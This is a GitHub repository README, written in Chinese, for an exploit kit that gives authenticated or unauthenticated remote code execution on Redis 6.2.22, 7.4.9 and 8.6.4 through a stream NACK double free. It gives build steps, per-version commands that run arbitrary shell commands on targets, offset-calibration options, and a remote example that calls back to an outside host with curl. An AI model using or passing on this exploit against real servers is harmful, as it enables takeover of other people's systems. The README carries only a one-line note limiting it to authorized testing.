berabuddies/redis-poc
GitHub: berabuddies/redis-poc
Redis stream NACK double free 漏洞的非破坏性 RCE PoC 利用工具,针对 Redis 6.2.22/7.4.9/8.6.4 三个特定版本。
Stars: 0 | Forks: 0
# Redis 认证 RCE (stream NACK double free)
非破坏性 RCE 漏洞利用,适用于 **Redis 6.2.22、7.4.9 和 8.6.4**,通过以下方式触发:
stream consumer-group shared-NACK double free(CVE-2026-25243 绕过其补丁的新变体)。
## 构建(仅一次)
```
gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
```
要求:Python 3.6+(无需 pip 包),gcc。
## 使用方法
```
# 6.2.22
python3 A_exploit_stock.py [password] [trigger]
# 7.4.9
python3 P74_exploit.py [password] [trigger]
# 8.6.4
python3 P86_exploit.py [password] [trigger]
```
- `password` — 对于无需认证的目标,请省略(或传入 `""`)
- `trigger` — shell 命令,默认在 `/data/pwned*` 下写入验证文件
示例:
```
# 本地实验环境, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# 本地实验环境, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# 本地实验环境, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# 远程, 无认证
python3 P86_exploit.py 10.0.0.5 6379 "" "curl http://me.example/cb"
```
## 文件
- `A_exploit_stock.py` — 针对 **6.2.22**(`redis:6.2.22` 镜像)的漏洞利用
- `P74_exploit.py`(+ `P74_g2.py`)— 针对 **7.4.9**(`redis:7.4`)的漏洞利用
- `P86_exploit.py` — 针对 **8.6.4**(`redis:8.6`)的漏洞利用
- `A_lib.py`、`G2_arbread.py` — 共享辅助脚本(必须与漏洞利用脚本放在同一目录下)
- `crc64.c/h`、`crcspeed.c/h` — `libcrc64.so` 的源代码(Redis CRC64,
构建有效的 `RESTORE` payload 所需)
- `calibrate.sh` — 为非官方构建计算二进制偏移量
- `P74_loop.sh`、`P86_run.sh` — 重启重试封装脚本
## 目标要求
- **6.2.22**:默认使用官方镜像的偏移量。对于其他构建,
请覆盖偏移量(`--str-format-off`、`--got-write-off`、
`--libc-write-off`、`--libc-system-off`、`--server-off`、
`--db-dicttype-off`、`--dictsdskeycompare-off`;参见 `--help`),或运行
`./calibrate.sh /path/to/redis-server [/path/to/libc.so.6]` 来生成
它们。**错误的偏移量会导致目标服务器崩溃**(越界读取)——
如果二进制文件与官方镜像不同,请先进行校准。
- **7.4.9 / 8.6.4**:官方原生镜像,**无需调试标志**
(由于经过去 DEBUG 重构,漏洞利用已完全无需 DEBUG)。
- 用户可用的命令:`EVAL`、`RESTORE`、`XGROUP`。
## 注意事项
- **8.8.0+ 不受此漏洞影响** 重构 PR #15081 已修复此漏洞。
仅供授权测试使用。
标签:Python, Redis, XXE攻击, 无后门, 编程工具, 请求拦截, 远程代码执行, 逆向工具